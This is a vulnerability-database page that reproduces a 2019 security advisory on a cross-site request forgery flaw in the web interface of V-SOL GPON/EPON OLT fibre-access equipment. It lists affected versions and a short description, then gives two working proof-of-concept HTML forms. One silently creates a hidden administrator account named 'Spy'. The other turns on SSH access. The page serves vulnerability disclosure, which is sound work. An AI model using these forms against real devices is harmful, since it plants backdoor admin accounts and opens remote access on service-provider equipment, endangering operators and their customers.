V-SOL GPON/EPON OLT Platform 2.03 Cross Site Request Forgery - CXSecurity.com

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1761083 漏洞类型
发布时间 2019-09-30 更新时间 2019-09-30
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2019090192
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
V-SOL GPON/EPON OLT Platform v2.03 Cross-Site Request Forgery


Vendor: Guangzhou V-SOLUTION Electronic Technology Co., Ltd.
Product web page: https://www.vsolcn.com
Affected version: V2.03.62R_IPv6
                  V2.03.54R
                  V2.03.52R
                  V2.03.49
                  V2.03.47
                  V2.03.40
                  V2.03.26
                  V2.03.24
                  V1.8.6
                  V1.4

Summary: GPON is currently the leading FTTH standard in broadband access
technology being widely deployed by service providers around the world.
GPON/EPON OLT products are 1U height 19 inch rack mount products. The
features of the OLT are small, convenient, flexible, easy to deploy, high
performance. It is appropriate to be deployed in compact room environment.
The OLTs can be used for 'Triple-Play', VPN, IP Camera, Enterprise LAN and
ICT applications.

Desc: The application interface allows users to perform certain actions via
HTTP requests without performing any validity checks to verify the requests.
This can be exploited to perform certain actions with administrative privileges
if a logged-in user visits a malicious web site.

Tested on: GoAhead-Webs


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5536
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5536.php

25.09.2019

--


CSRF add admin:
---------------

<html>
  <body>
    <form action="http://192.168.8.200/action/user.html" method="POST">
      <input type="hidden" name="user_name_add" value="Spy" />
      <input type="hidden" name="user_password_add" value="pass123" />
      <input type="hidden" name="password_confirm_add" value="pass123" />
      <input type="hidden" name="user_role" value="1" />
      <input type="hidden" name="user_name_mod" value="" />
      <input type="hidden" name="user_password_mod" value="" />
      <input type="hidden" name="password_confirm_mod" value="" />
      <input type="hidden" name="user_role_mod" value="0" />
      <input type="hidden" name="option_um" value="100/" />
      <input type="hidden" name="who" value="0" />
      <input type="submit" value="Init" />
    </form>
  </body>
</html>


CSRF enable SSH:
----------------

<html>
  <body>
    <form action="https://192.168.8.200/action/sshglobal.html" method="POST">
      <input type="hidden" name="ssh_enable" value="1" />
      <input type="hidden" name="ssh_version" value="2" />
      <input type="hidden" name="auth_retries" value="6" />
      <input type="hidden" name="ssh_timeout" value="120" />
      <input type="hidden" name="ssh_modulus" value="2048" />
      <input type="hidden" name="who" value="0" />
      <input type="submit" value="Init" />
    </form>
  </body>
</html>